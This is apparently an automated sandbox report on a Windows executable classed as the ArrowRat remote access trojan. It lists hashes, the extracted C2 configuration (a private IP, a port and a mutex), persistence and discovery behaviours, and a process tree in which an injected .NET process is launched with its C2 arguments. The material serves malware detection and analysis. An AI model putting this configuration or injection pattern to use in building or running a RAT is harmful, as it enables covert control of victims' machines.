Overview

overview

10

Static

static

10

79ec7c271a...b3.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    56s
  • max time network
    56s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250207-en
  • resource tags

    arch:x64arch:x86image:win11-20250207-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/02/2025, 15:01

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    79ec7c271adcd148064e5324c66d8ea9c1eefd81c44bde7c9ca754f4fb9d80b3.exe

  • Size

    158KB

  • MD5

    7e139460393ef5092b11eff0adbd46f8

  • SHA1

    5ae92024865a0a52f76898327780e21304d3e35f

  • SHA256

    79ec7c271adcd148064e5324c66d8ea9c1eefd81c44bde7c9ca754f4fb9d80b3

  • SHA512

    a852f02e3528ec4bfa3de2aae232acf7a78474303b6221c64965a3eaec55a7e4636cb2fad2e936346dc5e374ec589406b99a68b390dd19a7d1f63b7821fe19ae

  • SSDEEP

    3072:MbztH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPWOO8Y:Mbzte0ODhTEPgnjuIJzo+PPcfPWB8

Score
10/10
arrowratclientdiscoverypersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

192.168.1.222:1337

Mutex

gWyxhRMMH

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Downloads MZ/PE file 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 25 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 53 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 50 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\79ec7c271adcd148064e5324c66d8ea9c1eefd81c44bde7c9ca754f4fb9d80b3.exe
    "C:\Users\Admin\AppData\Local\Temp\79ec7c271adcd148064e5324c66d8ea9c1eefd81c44bde7c9ca754f4fb9d80b3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3528
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:408
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 192.168.1.222 1337 gWyxhRMMH
      2⤵
      • System Location Discovery: System Language Discovery
      PID:956
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:912
  • C:\Windows\system32\BackgroundTransferHost.exe
    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
    1⤵
    • Modifies registry class
    PID:2716
  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QUMyMTM2MUMtREFDNi00QjMwLUFCODctMUI5RDIyQzk3REFGfSIgdXNlcmlkPSJ7MkQ1MUQ3OTEtNDg3Mi00M0ExLUI4RTktNDJBMkNGMTAxNzMyfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7QzAwRTJBRjMtOEU4MC00NDhBLUEyOTEtODQxNTNGMUZGQTNGfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7RSt4YkF6Nlk2c1UxMjg5YlM2cWw0VlJMYmtqZkJVR1RNSnNqckhyNDRpST0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNjLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iMTIzLjAuNjMxMi4xMjMiIG5leHR2ZXJzaW9uPSIiIGxhbmc9ImVuIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjAiIGluc3RhbGxkYXRldGltZT0iMTczODk1Njc0OSIgb29iZV9pbnN0YWxsX3RpbWU9IjEzMzgzNDI5MTcwNDQ2MDAwMCI-PGV2ZW50IGV2ZW50dHlwZT0iMzEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjIxNzk4NjIiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUwODEzMDQ0NjMiLz48L2FwcD48L3JlcXVlc3Q-
    1⤵
    • System Location Discovery: System Language Discovery
    • System Network Configuration Discovery: Internet Connection Discovery
    PID:2288
  • C:\Windows\system32\control.exe
    "C:\Windows\system32\control.exe" /name Microsoft.AdministrativeTools
    1⤵
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    PID:700
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:1776
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /7
      2⤵
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:564

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
    Filesize

    28KB

    MD5

    b8ba89f623a9ed77385d480f7ae62b23

    SHA1

    5404b02b6726366c5717bcbfc68481b8f9869d65

    SHA256

    826b6315cd709fc997babc0d5d4c8437effe41f45d95911df2b2df5b5bbe6adc

    SHA512

    4c16f3ab8ac82938dd1659e3afd9a4146ff16b06fb027eb33f2a91ec43d65305b84ed584bd8915c56849f6a5c614090df9ea3a0f381cc7297b1627a9b778d0d0

    Download Submit

  • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\202645a7-e503-466b-bfaa-e7feff088a1d.down_data
    Filesize

    555KB

    MD5

    5683c0028832cae4ef93ca39c8ac5029

    SHA1

    248755e4e1db552e0b6f8651b04ca6d1b31a86fb

    SHA256

    855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

    SHA512

    aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

    Download Submit

  • memory/564-30-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-22-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-28-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-29-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-27-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-31-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-33-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-32-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-21-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/564-23-0x000002B928570000-0x000002B928571000-memory.dmp

    Filesize

    4KB

    Download

  • memory/956-9-0x0000000006240000-0x0000000006290000-memory.dmp

    Filesize

    320KB

    Download

  • memory/956-2-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

    Download

  • memory/956-3-0x00000000050C0000-0x0000000005152000-memory.dmp

    Filesize

    584KB

    Download

  • memory/956-6-0x0000000005950000-0x00000000059B6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/956-5-0x0000000005A90000-0x0000000006036000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/956-4-0x00000000051A0000-0x000000000523C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/3528-1-0x000001E5D2710000-0x000001E5D273E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3528-0-0x00007FFD82853000-0x00007FFD82855000-memory.dmp

    Filesize

    8KB

    Download